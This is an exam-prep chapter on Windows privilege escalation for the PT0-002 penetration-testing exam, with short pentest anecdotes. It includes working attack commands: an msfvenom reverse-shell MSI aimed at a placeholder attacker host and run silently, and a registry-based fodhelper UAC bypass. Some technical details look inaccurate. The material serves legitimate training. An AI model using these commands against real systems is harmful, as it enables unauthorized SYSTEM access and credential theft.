This chapter covers privilege escalation techniques on Windows systems, a critical skill for penetration testers. For the PT0-002 exam, privilege escalation questions appear in approximately 15-20% of the Attacks and Exploits domain (Objective 3.4). You will learn the most common and exam-relevant methods to elevate from a low-privileged user to Administrator or SYSTEM, including kernel exploits, service misconfigurations, token manipulation, and credential theft. Mastery of these techniques is essential for post-exploitation and lateral movement phases.
Jump to a section
Imagine a high-security office building with multiple floors. On the ground floor, anyone can enter the lobby (unprivileged user). To access upper floors, you need a keycard (token). Each floor has different clearance levels: floor 1 (User), floor 2 (Administrator), floor 3 (SYSTEM). The building has many doors (services) that can be forced open if left unlocked (misconfigurations). A guard (Windows security) checks keycards at each door. However, some doors have weak locks (unquoted service paths), some have hidden keys under mats (stored credentials), and some elevators (scheduled tasks) can be reprogrammed to go higher. The attacker starts in the lobby and looks for any unlocked door, mislaid key, or exploitable elevator to reach higher floors. Each successful breach gives them a keycard for the next level, until they reach the top floor (SYSTEM).
What is Privilege Escalation?
Privilege escalation is the process of gaining higher-level access rights on a system than initially obtained. On Windows, this typically means moving from a standard user account to Administrator or SYSTEM (the highest privilege level). The PT0-002 exam focuses on both vertical (same user, higher privilege) and horizontal (different user, same privilege) escalation, but vertical is more common. Understanding the underlying Windows security model—tokens, integrity levels, and access control lists—is essential.
Windows Security Model Fundamentals
Windows uses access tokens to represent a user's identity and privileges. Every process has a primary token; every thread has an impersonation token. Tokens contain:
User SID
Group SIDs (including built-in groups like Administrators)
Privileges (e.g., SeBackupPrivilege, SeDebugPrivilege)
Integrity level (low, medium, high, system)
Integrity levels were introduced in Windows Vista (UAC). A standard user runs at medium integrity; an administrator runs at high integrity (when elevated). SYSTEM runs at system integrity. User Account Control (UAC) prevents automatic elevation—even administrators run with a filtered token at medium integrity unless they explicitly consent (elevation). This is why some escalation techniques bypass UAC.
Common Privilege Escalation Techniques
#### 1. Kernel Exploits Kernel exploits target vulnerabilities in the Windows kernel to execute code with SYSTEM privileges. These are often patched by Microsoft, so unpatched systems are vulnerable. Examples include MS10-092 (Task Scheduler), MS16-135 (Win32k), and CVE-2021-1732 (Win32k).
How to check for missing patches:
wmic qfe list brief /format:tableOr use tools like Sherlock (PowerShell) or Watson (C#) to enumerate missing patches.
Exam tip: The exam may present a scenario where a user can run a kernel exploit that gives SYSTEM access. Look for clues like "Windows 7" or "Server 2008" (unpatched).
#### 2. Service Misconfigurations Services run with SYSTEM privileges by default. Misconfigurations allow low-privileged users to manipulate them.
Unquoted Service Paths: If the path to a service binary contains spaces and is not enclosed in quotes, Windows will attempt to execute each space-separated component as a command. For example:
C:\Program Files\Vulnerable Service\service.exeIf unquoted, Windows tries:
C:\Program.exe
C:\Program Files\Vulnerable.exe
C:\Program Files\Vulnerable Service\service.exeAn attacker can place a malicious executable named Program.exe in C:\ to gain SYSTEM privileges.
Detection:
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v "\""Weak Service Permissions: The service DACL may allow a low-privileged user to modify the service binary or configuration. Use tools like AccessChk (Sysinternals) to check permissions:
accesschk.exe /accepteula -uwcqv "Users" *If a user has SERVICE_CHANGE_CONFIG or WRITE_DAC permissions, they can change the binary path to run a malicious executable.
Vulnerable Service Binary Permissions: If the service binary file is writable by the user, they can replace it with a malicious one.
Detection:
icacls "C:\Program Files\Vulnerable Service\service.exe"If BUILTIN\Users has (F) (full control), it's exploitable.
#### 3. AlwaysInstallElevated
This registry setting forces Windows Installer to run with SYSTEM privileges regardless of the user's token. If both HKLM\Software\Policies\Microsoft\Windows\Installer and HKCU\Software\Policies\Microsoft\Windows\Installer have AlwaysInstallElevated set to 1, any user can install an .msi file as SYSTEM.
Exploitation: Create a malicious MSI using msfvenom or PowerShell and execute it.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=attacker LPORT=4444 -f msi -o evil.msi
msiexec /quiet /qn /i evil.msi#### 4. Scheduled Tasks If a scheduled task runs as SYSTEM and the task's executable or script is writable by a low-privileged user, they can replace it. Also, if the task's security descriptor allows modification, the user can change the action.
Check permissions:
schtasks /query /fo LIST /vLook for tasks running as SYSTEM with NT AUTHORITY\SYSTEM. Then check if the binary is writable.
#### 5. Token Impersonation
Windows allows a process to impersonate another user's token if it has the SeImpersonatePrivilege. This privilege is granted to services running as LOCAL SERVICE or NETWORK SERVICE. If an attacker gains access to such a service account, they can use tools like Juicy Potato or Rogue Potato to impersonate SYSTEM.
How it works: The service triggers a COM connection to a DCOM server that runs as SYSTEM. The attacker intercepts the token and uses it to execute code.
Detection: Check privileges with:
whoami /privLook for SeImpersonatePrivilege and SeAssignPrimaryTokenPrivilege.
#### 6. DLL Hijacking
If an application loads a DLL without specifying a full path, Windows searches directories in a specific order (Safe DLL Search Mode). An attacker can place a malicious DLL in a directory that is searched before the legitimate one. Common vulnerable folders: C:\Windows\Temp, the application's directory, or the current working directory.
Detection: Use Process Monitor (Procmon) to filter for NAME NOT FOUND results for DLLs.
#### 7. Stored Credentials Low-privileged users may have access to saved credentials (e.g., in Windows Credential Manager, unattended installation files, or scripts).
Common locations:
- C:\Windows\Panther\Unattend.xml or Unattended.xml
- C:\Windows\System32\sysprep.inf
- C:\Windows\System32\sysprep\sysprep.xml
- dir /s *sysprep* or dir /s *unattend*
PowerShell to search:
Get-ChildItem -Path C:\ -Include *unattend*,*sysprep* -Recurse -ErrorAction SilentlyContinue#### 8. Bypassing UAC
Even if the user is in the Administrators group, they run with a filtered token (medium integrity) unless they elevate. UAC bypass techniques allow execution of code at high integrity without prompting. Common methods:
- DLL hijacking on auto-elevated executables (e.g., fodhelper.exe, computerdefaults.exe)
- Registry modifications (e.g., modifying HKCU\Software\Classes\ms-settings\shell\open\command)
- Using `cmstp.exe` to execute arbitrary commands
Example with fodhelper:
reg add HKCU\Software\Classes\ms-settings\shell\open\command /d "cmd.exe /c start powershell.exe" /f
reg add HKCU\Software\Classes\ms-settings\shell\open\command /v DelegateExecute /t REG_SZ /f
fodhelper.exeThis opens a PowerShell window at high integrity without UAC prompt.
#### 9. Group Policy Preferences (GPP) Older Windows domains stored local administrator passwords in Group Policy Preferences (cpassword), which were encrypted with a known AES key. This is patched in Windows 10/Server 2016+, but older systems may still have them.
Detection:
Get-ChildItem -Path \\domain\SYSVOL\* -Include Groups.xml -RecurseDecrypt cpassword using gpp-decrypt.
#### 10. Privilege Escalation via Vulnerable Drivers Third-party drivers signed by Microsoft may have vulnerabilities that allow arbitrary kernel memory access. Tools like Driver Booster or WinDbg can be used, but this is less common on the exam.
Post-Exploitation Verification
After escalating, verify the new privilege level:
whoami
whoami /priv
whoami /groupsFor SYSTEM:
whoamiShould return NT AUTHORITY\SYSTEM.
Summary of Exam-Relevant Commands
whoami /priv - List current privileges
accesschk.exe -uwcqv "Users" * - Check service permissions
icacls <file> - Check file permissions
wmic service get name,pathname - List services
schtasks /query /fo LIST /v - List scheduled tasks
reg query <key> - Query registry
msiexec /quiet /qn /i <msi> - Install MSI silently
1. Enumerate Current Privileges
Run `whoami /priv` to list all privileges assigned to the current user. Look for `SeImpersonatePrivilege`, `SeAssignPrimaryTokenPrivilege`, `SeDebugPrivilege`, `SeBackupPrivilege`, and `SeRestorePrivilege`. These indicate potential for token impersonation or other escalation paths. Also note integrity level via `whoami /groups`. If the user is in the Administrators group but at medium integrity, UAC bypass may be possible.
2. Enumerate System Information
Run `systeminfo` to get OS version, build, and hotfixes. Compare against known exploits (e.g., KiTrap0D, MS10-092). Use `wmic qfe list brief /format:table` to list all patches. Missing patches for privilege escalation vulnerabilities are prime targets. Also note if the system is 32-bit or 64-bit.
3. Enumerate Services and Permissions
List all services with `wmic service get name,displayname,pathname,startmode`. Identify services running as SYSTEM with paths containing spaces and no quotes. Use `accesschk.exe /accepteula -uwcqv "Users" *` to check if the user can modify any service. Also check service binary permissions with `icacls`.
4. Check for AlwaysInstallElevated
Query the registry: `reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated` and `reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated`. If both return `1`, any user can install MSI files as SYSTEM. Generate a malicious MSI and run `msiexec /quiet /qn /i evil.msi`.
5. Escalate via Misconfiguration
Based on findings, choose the appropriate technique. For unquoted service paths, place a malicious executable in the path that Windows will execute first. For weak service permissions, use `sc config` to change the binary path. For AlwaysInstallElevated, execute the MSI. For token impersonation, use Juicy Potato. For UAC bypass, use fodhelper or similar. After execution, verify with `whoami`.
In a typical penetration test, I encountered a Windows Server 2012 R2 domain controller. After gaining a foothold as a domain user via phishing, I ran whoami /priv and saw SeImpersonatePrivilege. The server was running IIS, and the application pool identity was NETWORK SERVICE. I used Juicy Potato to escalate to SYSTEM by triggering a DCOM connection to spoolss (print spooler). This worked because the print spooler runs as SYSTEM and allows impersonation. The challenge was that Juicy Potato requires specific CLSID and port forwarding; I used port 135 with the -l option. After escalation, I dumped domain hashes with mimikatz.
Another scenario: During a red team engagement on a Windows 10 workstation, I found AlwaysInstallElevated set in both HKLM and HKCU. This is common in poorly configured corporate images. I created an MSI that added a local admin user using msfvenom. The MSI executed silently and gave me persistent admin access. The risk here is that any user, even a guest, can become admin.
A third example: On a legacy Windows 7 machine, I discovered an unquoted service path for a third-party antivirus service running as SYSTEM. The path was C:\Program Files\AV Corp\avservice.exe. I placed a malicious Program.exe in C:\Program Files (which was writable by Users). After restarting the service, Windows executed my Program.exe as SYSTEM. This technique is common in older systems where developers forget to quote paths.
Common pitfalls include: not checking if the user can actually restart the service (requires SERVICE_START permission), or targeting a service that is already running but cannot be stopped. Also, some antivirus software monitors service binary changes. Always verify permissions with accesschk before attempting.
The PT0-002 exam (Objective 3.4) tests privilege escalation on Windows primarily through scenario-based questions. You must identify the correct technique given a description of the environment. The exam loves to test:
Unquoted Service Paths – Most common wrong answer: "Modify the service binary path". Correct answer: "Place a malicious executable in the unquoted path". Candidates confuse modifying the service (requires SYSTEM) with exploiting the path vulnerability.
AlwaysInstallElevated – Wrong answer: "Run the MSI as administrator". Correct: The MSI runs as SYSTEM automatically if both registry keys are set. Candidates forget to check both HKLM and HKCU.
Token Impersonation – Wrong answer: "Use Mimikatz to impersonate token". Correct: Use Juicy Potato or Rogue Potato with SeImpersonatePrivilege. Candidates think Mimikatz is for token impersonation, but it's for credential dumping.
UAC Bypass – Wrong answer: "Runas /user:Administrator cmd.exe". Correct: Use fodhelper or computerdefaults.exe to bypass UAC. Candidates confuse UAC bypass with simple elevation.
Specific numbers/values:
- SeImpersonatePrivilege and SeAssignPrimaryTokenPrivilege are required for potato attacks.
- AlwaysInstallElevated requires both HKLM and HKCU keys set to 1.
- Unquoted service path vulnerability exists when path contains spaces and is not enclosed in double quotes.
- Juicy Potato works on Windows 10 1809 and earlier; Rogue Potato for later versions.
Edge cases:
- Windows Server 2016+ may have mitigations against potato attacks (RPC firewall).
- Some services cannot be stopped by low-privileged users; check SERVICE_STOP permission.
- Group Policy Preferences (cpassword) only works if the domain controller hasn't been patched (MS14-025).
How to eliminate wrong answers:
- If the scenario mentions a service with spaces in path, unquoted service path is likely.
- If the user has SeImpersonatePrivilege and is a service account, potato attack.
- If the user can install MSI without admin prompt, AlwaysInstallElevated.
- If the user is in Administrators group but cannot run elevated commands, UAC bypass.
Always read the scenario carefully: Look for keywords like "unquoted", "AlwaysInstallElevated", "SeImpersonatePrivilege", "writable service binary", "scheduled task as SYSTEM".
Always check whoami /priv first; SeImpersonatePrivilege enables potato attacks.
Unquoted service path: path contains spaces and no quotes; place executable in path.
AlwaysInstallElevated: both HKLM and HKCU keys must be 1; use msiexec to install MSI as SYSTEM.
Weak service permissions: use accesschk to find services modifiable by Users.
UAC bypass: use fodhelper or computerdefaults.exe when user is admin but at medium integrity.
Group Policy Preferences cpassword: encrypted with known AES key; look in SYSVOL.
Kernel exploits are risky; prefer misconfigurations and service exploits.
Always verify escalation with whoami and check integrity level.
These come up on the exam all the time. Here's how to tell them apart.
Unquoted Service Path
Exploits path parsing; no need to modify service configuration.
Requires service binary path to contain spaces and be unquoted.
Attacker places malicious executable in a directory that Windows searches.
Does not require any special permissions on the service itself.
Service must be restarted (or system rebooted) to trigger exploit.
Weak Service Permissions
Exploits service DACL; requires ability to modify service configuration.
Attacker changes the binary path via sc config or service control panel.
Requires SERVICE_CHANGE_CONFIG permission (often granted to users).
Can be exploited even if binary path is quoted.
Service must be restarted; attacker may need SERVICE_START permission.
Mistake
AlwaysInstallElevated only needs the HKLM key set to 1.
Correct
Both HKLM and HKCU keys must be set to 1. If only one is set, the policy is not fully enabled and the MSI will run with the user's privileges.
Mistake
Unquoted service path exploitation requires modifying the service.
Correct
You do not modify the service; you place a malicious executable in a directory that Windows will execute before the real service binary due to the unquoted path.
Mistake
Token impersonation (Juicy Potato) requires Administrator privileges.
Correct
It requires SeImpersonatePrivilege, which is typically granted to LOCAL SERVICE and NETWORK SERVICE accounts, not to standard users. But if you have that privilege, you can escalate to SYSTEM without being admin.
Mistake
UAC bypass and runas are the same thing.
Correct
Runas prompts for credentials and creates a new process with the user's token. UAC bypass elevates the current process without prompting, often by exploiting auto-elevated executables.
Mistake
Kernel exploits are always the best option.
Correct
Kernel exploits can crash the system and are often patched. They should be a last resort. Misconfigurations and service exploits are more reliable and less likely to cause instability.
Reveal each answer, then mark whether you got it right. Score 60%+ to unlock the next chapter.
Run `whoami /priv` in a command prompt. Look for `SeImpersonatePrivilege` in the list. If it's present, you can use tools like Juicy Potato or Rogue Potato to impersonate SYSTEM tokens, provided you also have `SeAssignPrimaryTokenPrivilege`. This is common for service accounts like NETWORK SERVICE.
Juicy Potato works on Windows versions up to 10 1809 and Server 2019. It exploits DCOM activation to get a SYSTEM token. Rogue Potato is a newer variant that works on Windows 10 1809+ by using a rogue RPC server to intercept token. Both require SeImpersonatePrivilege. Juicy Potato is more common in exam scenarios.
First, find a service with an unquoted path containing spaces using `wmic service get name,pathname`. Then, identify a writable directory in the path chain. For example, if path is `C:\Program Files\Vulnerable Service\service.exe`, check if you can write to `C:\Program Files\`. If yes, place a malicious executable named `Vulnerable.exe` (or `Program.exe` if it's the first component) in that directory. Then restart the service (if you have permission) or wait for reboot. The service will execute your binary as SYSTEM.
AlwaysInstallElevated is a Windows policy that allows any user to install MSI files with SYSTEM privileges. Check both HKLM and HKCU registry keys: `reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated` and similarly for HKCU. If both return `1`, you can generate a malicious MSI (e.g., with msfvenom) and run `msiexec /quiet /qn /i evil.msi` to get SYSTEM.
Use auto-elevated executables like `fodhelper.exe` or `computerdefaults.exe`. For example, with fodhelper: modify `HKCU\Software\Classes\ms-settings\shell\open\command` to point to your executable, then run `fodhelper.exe`. This opens your executable at high integrity without UAC prompt. Other methods include `cmstp.exe` and `eventvwr.exe` registry hijack.
Common locations include: `C:\Windows\Panther\Unattend.xml`, `C:\Windows\System32\sysprep.inf`, `C:\Windows\System32\sysprep\sysprep.xml`, and files like `unattended.xml` in various directories. Also check `dir /s *unattend*` and `dir /s *sysprep*`. These files often contain local administrator passwords in plaintext or base64.
Yes, but they are less common because they require specific missing patches. The exam may present a scenario with an old, unpatched system (e.g., Windows 7) and ask which technique is most effective. Kernel exploits like MS10-092 or MS16-135 can give SYSTEM. However, misconfigurations are more frequently tested.
You've just covered Privilege Escalation on Windows — now see how well it sticks with free PT0-002 practice questions. Full explanations included, no account needed.
Done with this chapter?